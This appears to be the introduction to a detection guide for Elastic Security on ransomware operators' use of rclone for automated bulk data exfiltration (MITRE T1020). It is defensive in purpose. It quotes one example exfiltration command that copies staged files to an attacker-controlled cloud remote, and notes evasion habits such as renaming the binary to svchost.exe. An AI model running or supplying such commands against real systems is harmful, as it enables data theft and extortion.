Detect Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling in Elastic Security

rclone is a legitimate, widely-used open-source command-line tool for syncing files to more than 40 cloud storage backends (Mega, pCloud, Backblaze B2, Dropbox, S3-compatible endpoints, WebDAV, SFTP). Its portability, single-binary distribution, and broad backend support have made it the exfiltration tool of choice for ransomware affiliates during the double-extortion phase of an intrusion: rather than manually uploading files one at a time, the operator drops rclone (often renamed to blend in — svchost.exe, winupdate.exe, or similar), stages an attacker-authored rclone.conf pointing at a throwaway cloud account, and issues a single scripted command such as `rclone copy C:\staged\ remote:bucket --transfers=32 --multi-thread-streams=4` against previously staged data. From that point the entire transfer proceeds automatically with no further operator interaction — the defining trait of MITRE ATT&CK T1020 (Automated Exfiltration), which describes exfiltration performed automatically after data has been collected/staged, as distinct from T1029 (Scheduled Transfer, a recurring cron/task-scheduler-driven pattern already covered elsewhere in this corpus) and distinct from cloud control-plane grant abuse (T1537, where data is transferred by re-permissioning a victim-owned cloud resource rather than pushing bytes through a client tool). Conti, LockBit affiliates, BlackCat/ALPHV affiliates, and Cl0p have all been widely documented using rclone in this exact pattern immediately prior to ransomware deployment, making its appearance on an endpoint — especially a server or file share host with no legitimate business reason to run cloud-sync software — a high-confidence precursor to both data leak and imminent encryption.